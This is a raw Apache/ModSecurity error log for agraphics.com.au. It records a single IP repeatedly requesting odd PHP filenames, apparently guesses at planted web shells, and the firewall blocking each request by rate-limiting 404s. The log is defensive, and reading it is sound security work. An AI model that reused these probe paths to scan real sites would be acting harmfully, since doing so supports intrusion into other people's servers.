[Wed Apr 15 01:03:27.432125 2026] [:error] [pid 17866:tid 17870] [client 20.240.133.195:27845] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "ad5zX7x_17kv70EUVIlCeQAAAYI"]
[Wed Apr 15 01:03:27.959285 2026] [:error] [pid 62295:tid 62302] [client 20.240.133.195:63029] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "ad5zXxng-JDNFCa0Bnhm_wAAAAM"]
[Wed Apr 15 01:03:28.505728 2026] [:error] [pid 17804:tid 17834] [client 20.240.133.195:38018] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "ad5zYAAZKYxfpamecKd8TwAAANg"]
[Wed Apr 15 01:03:29.104725 2026] [:error] [pid 17926:tid 17954] [client 20.240.133.195:59625] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "ad5zYfKxFvgDwMI04zBRBgAAAdU"]
[Wed Apr 15 01:03:29.642560 2026] [:error] [pid 62295:tid 62323] [client 20.240.133.195:27102] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "ad5zYRng-JDNFCa0BnhnBAAAABg"]
[Wed Apr 15 01:03:30.194626 2026] [:error] [pid 62295:tid 62300] [client 20.240.133.195:27100] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "ad5zYhng-JDNFCa0BnhnCgAAAAE"]
[Wed Apr 15 01:03:30.729924 2026] [:error] [pid 62295:tid 62299] [client 20.240.133.195:63009] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "ad5zYhng-JDNFCa0BnhnEAAAAAA"]
[Wed Apr 15 01:03:31.256723 2026] [:error] [pid 62295:tid 62316] [client 20.240.133.195:36118] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "ad5zYxng-JDNFCa0BnhnFQAAABE"]
[Wed Apr 15 01:03:31.782865 2026] [:error] [pid 17926:tid 17950] [client 20.240.133.195:31646] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "ad5zY_KxFvgDwMI04zBRCAAAAdE"]
[Wed Apr 15 01:03:32.309340 2026] [:error] [pid 17926:tid 17944] [client 20.240.133.195:27882] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "ad5zZPKxFvgDwMI04zBRCQAAAcs"]
[Wed Apr 15 01:03:32.840951 2026] [:error] [pid 17926:tid 17946] [client 20.240.133.195:59618] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "ad5zZPKxFvgDwMI04zBRDQAAAc0"]
[Wed Apr 15 01:03:33.384075 2026] [:error] [pid 62295:tid 62304] [client 20.240.133.195:63017] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "ad5zZRng-JDNFCa0BnhnKQAAAAU"]
[Wed Apr 15 01:03:33.915156 2026] [:error] [pid 17926:tid 17949] [client 20.240.133.195:63527] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "ad5zZfKxFvgDwMI04zBRDwAAAdA"]
[Wed Apr 15 01:03:34.470454 2026] [:error] [pid 62297:tid 62364] [client 20.240.133.195:27886] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "ad5zZqvogcWlrafOEaG76AAAAQo"]
[Wed Apr 15 01:03:35.008008 2026] [:error] [pid 62297:tid 62378] [client 20.240.133.195:63533] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "ad5zZ6vogcWlrafOEaG76gAAARg"]
[Wed Apr 15 01:03:35.554782 2026] [:error] [pid 62295:tid 62315] [client 20.240.133.195:38023] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "ad5zZxng-JDNFCa0BnhnNwAAABA"]
[Wed Apr 15 01:03:36.092465 2026] [:error] [pid 17734:tid 17744] [client 20.240.133.195:33661] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sf.php"] [unique_id "ad5zaNN3xsztF3DFLWz7HAAAAIU"]
[Wed Apr 15 01:03:36.621841 2026] [:error] [pid 17804:tid 17825] [client 20.240.133.195:27888] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sf.php"] [unique_id "ad5zaAAZKYxfpamecKd8UwAAAM8"]
[Wed Apr 15 01:03:37.152200 2026] [:error] [pid 62296:tid 62327] [client 20.240.133.195:27880] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sf.php"] [unique_id "ad5zacTNd04nWM2DK4SCAAAAAEA"]
[Wed Apr 15 01:03:37.727442 2026] [:error] [pid 62297:tid 62374] [client 20.240.133.195:63548] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sf.php"] [unique_id "ad5zaavogcWlrafOEaG79AAAARQ"]
[Wed Apr 15 01:03:38.261706 2026] [:error] [pid 62297:tid 62365] [client 20.240.133.195:58307] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no1.php"] [unique_id "ad5zaqvogcWlrafOEaG79wAAAQs"]
[Wed Apr 15 01:03:38.790558 2026] [:error] [pid 62295:tid 62316] [client 20.240.133.195:62977] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no1.php"] [unique_id "ad5zahng-JDNFCa0BnhnPAAAABE"]
[Wed Apr 15 01:03:39.371083 2026] [:error] [pid 17926:tid 17945] [client 20.240.133.195:63532] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no1.php"] [unique_id "ad5za_KxFvgDwMI04zBRFwAAAcw"]
[Wed Apr 15 01:03:39.903519 2026] [:error] [pid 17734:tid 17752] [client 20.240.133.195:36100] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no1.php"] [unique_id "ad5za9N3xsztF3DFLWz7IQAAAI0"]
[Wed Apr 15 01:03:40.549595 2026] [:error] [pid 17804:tid 17830] [client 20.240.133.195:33659] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "ad5zbAAZKYxfpamecKd8VgAAANQ"]
[Wed Apr 15 01:03:41.266964 2026] [:error] [pid 62297:tid 62374] [client 20.240.133.195:41859] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "ad5zbavogcWlrafOEaG8BQAAARQ"]
[Wed Apr 15 01:03:41.920553 2026] [:error] [pid 62295:tid 62323] [client 20.240.133.195:38070] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "ad5zbRng-JDNFCa0BnhnPwAAABg"]
[Wed Apr 15 01:03:42.633421 2026] [:error] [pid 17734:tid 17740] [client 20.240.133.195:63529] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "ad5zbtN3xsztF3DFLWz7KgAAAIE"]
[Wed Apr 15 01:03:43.187000 2026] [:error] [pid 62295:tid 62305] [client 20.240.133.195:63501] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fvvff.php"] [unique_id "ad5zbxng-JDNFCa0BnhnQwAAAAY"]
[Wed Apr 15 01:03:43.915503 2026] [:error] [pid 62295:tid 62319] [client 20.240.133.195:58309] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fvvff.php"] [unique_id "ad5zbxng-JDNFCa0BnhnRQAAABQ"]
[Wed Apr 15 01:03:44.638828 2026] [:error] [pid 62297:tid 62360] [client 20.240.133.195:38026] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fvvff.php"] [unique_id "ad5zcKvogcWlrafOEaG8IgAAAQY"]
[Wed Apr 15 01:03:45.171026 2026] [:error] [pid 62297:tid 62371] [client 20.240.133.195:36824] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fvvff.php"] [unique_id "ad5zcavogcWlrafOEaG8JgAAARE"]
[Wed Apr 15 01:03:45.833254 2026] [:error] [pid 62297:tid 62378] [client 20.240.133.195:58362] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "ad5zcavogcWlrafOEaG8LQAAARg"]
[Wed Apr 15 01:03:46.508058 2026] [:error] [pid 62296:tid 62341] [client 20.240.133.195:36806] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "ad5zcsTNd04nWM2DK4SCDgAAAE4"]
[Wed Apr 15 01:03:47.253161 2026] [:error] [pid 62297:tid 62354] [client 20.240.133.195:45043] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "ad5zc6vogcWlrafOEaG8MAAAAQA"]
[Wed Apr 15 01:03:47.949507 2026] [:error] [pid 62295:tid 62316] [client 20.240.133.195:27117] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a2.php"] [unique_id "ad5zcxng-JDNFCa0BnhnXwAAABE"]
[Wed Apr 15 01:03:48.518781 2026] [:error] [pid 62295:tid 62304] [client 20.240.133.195:36849] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "ad5zdBng-JDNFCa0BnhnZAAAAAU"]
[Wed Apr 15 01:03:49.540655 2026] [:error] [pid 17804:tid 17814] [client 20.240.133.195:33608] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "ad5zdQAZKYxfpamecKd8WgAAAMQ"]
[Wed Apr 15 01:03:50.552880 2026] [:error] [pid 17734:tid 17751] [client 20.240.133.195:32334] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "ad5zdtN3xsztF3DFLWz7MQAAAIw"]
[Wed Apr 15 01:03:51.318943 2026] [:error] [pid 62432:tid 62439] [client 20.240.133.195:32342] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "ad5zd7PtNET7V_vfTPfPJwAAAUQ"]
[Wed Apr 15 01:03:52.257110 2026] [:error] [pid 62297:tid 62377] [client 20.240.133.195:27088] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "ad5zeKvogcWlrafOEaG8RAAAARc"]
[Wed Apr 15 01:03:52.813857 2026] [:error] [pid 17804:tid 17820] [client 20.240.133.195:6337] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "ad5zeAAZKYxfpamecKd8XQAAAMo"]
[Wed Apr 15 01:03:53.426169 2026] [:error] [pid 62297:tid 62375] [client 20.240.133.195:33611] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "ad5zeavogcWlrafOEaG8TwAAARU"]
[Wed Apr 15 01:03:54.003422 2026] [:error] [pid 62297:tid 62374] [client 20.240.133.195:27086] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "ad5zeqvogcWlrafOEaG8VwAAARQ"]
[Wed Apr 15 01:03:54.582097 2026] [:error] [pid 62297:tid 62362] [client 20.240.133.195:38029] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "ad5zeqvogcWlrafOEaG8XQAAAQg"]
[Wed Apr 15 01:03:55.119414 2026] [:error] [pid 17866:tid 17868] [client 20.240.133.195:27889] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "ad5ze7x_17kv70EUVIlCjwAAAYA"]
[Wed Apr 15 01:03:55.725905 2026] [:error] [pid 17926:tid 17956] [client 20.240.133.195:29072] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "ad5ze_KxFvgDwMI04zBRJwAAAdc"]
[Wed Apr 15 01:03:56.398451 2026] [:error] [pid 62297:tid 62370] [client 20.240.133.195:6393] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "ad5zfKvogcWlrafOEaG8cwAAARA"]
[Wed Apr 15 01:03:56.947687 2026] [:error] [pid 62295:tid 62299] [client 20.240.133.195:44368] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "ad5zfBng-JDNFCa0BnhnfQAAAAA"]
[Wed Apr 15 01:03:57.577545 2026] [:error] [pid 62297:tid 62366] [client 20.240.133.195:29064] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "ad5zfavogcWlrafOEaG8eQAAAQw"]
[Wed Apr 15 01:03:58.166949 2026] [:error] [pid 62432:tid 62456] [client 20.240.133.195:44401] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "ad5zfrPtNET7V_vfTPfPLgAAAVU"]
[Wed Apr 15 01:03:58.732302 2026] [:error] [pid 17866:tid 17891] [client 20.240.133.195:36155] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "ad5zfrx_17kv70EUVIlClAAAAZc"]
[Wed Apr 15 01:03:59.381760 2026] [:error] [pid 62295:tid 62315] [client 20.240.133.195:32324] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "ad5zfxng-JDNFCa0BnhnmQAAABA"]
[Wed Apr 15 01:03:59.931301 2026] [:error] [pid 62295:tid 62305] [client 20.240.133.195:41901] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "ad5zfxng-JDNFCa0BnhnnwAAAAY"]
[Wed Apr 15 01:04:00.460582 2026] [:error] [pid 62296:tid 62333] [client 20.240.133.195:58306] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "ad5zgMTNd04nWM2DK4SCFgAAAEY"]
[Wed Apr 15 01:04:00.986338 2026] [:error] [pid 62432:tid 62447] [client 20.240.133.195:6341] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "ad5zgLPtNET7V_vfTPfPMQAAAUw"]
[Wed Apr 15 01:04:01.560376 2026] [:error] [pid 62295:tid 62316] [client 20.240.133.195:32321] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "ad5zgRng-JDNFCa0BnhnpgAAABE"]
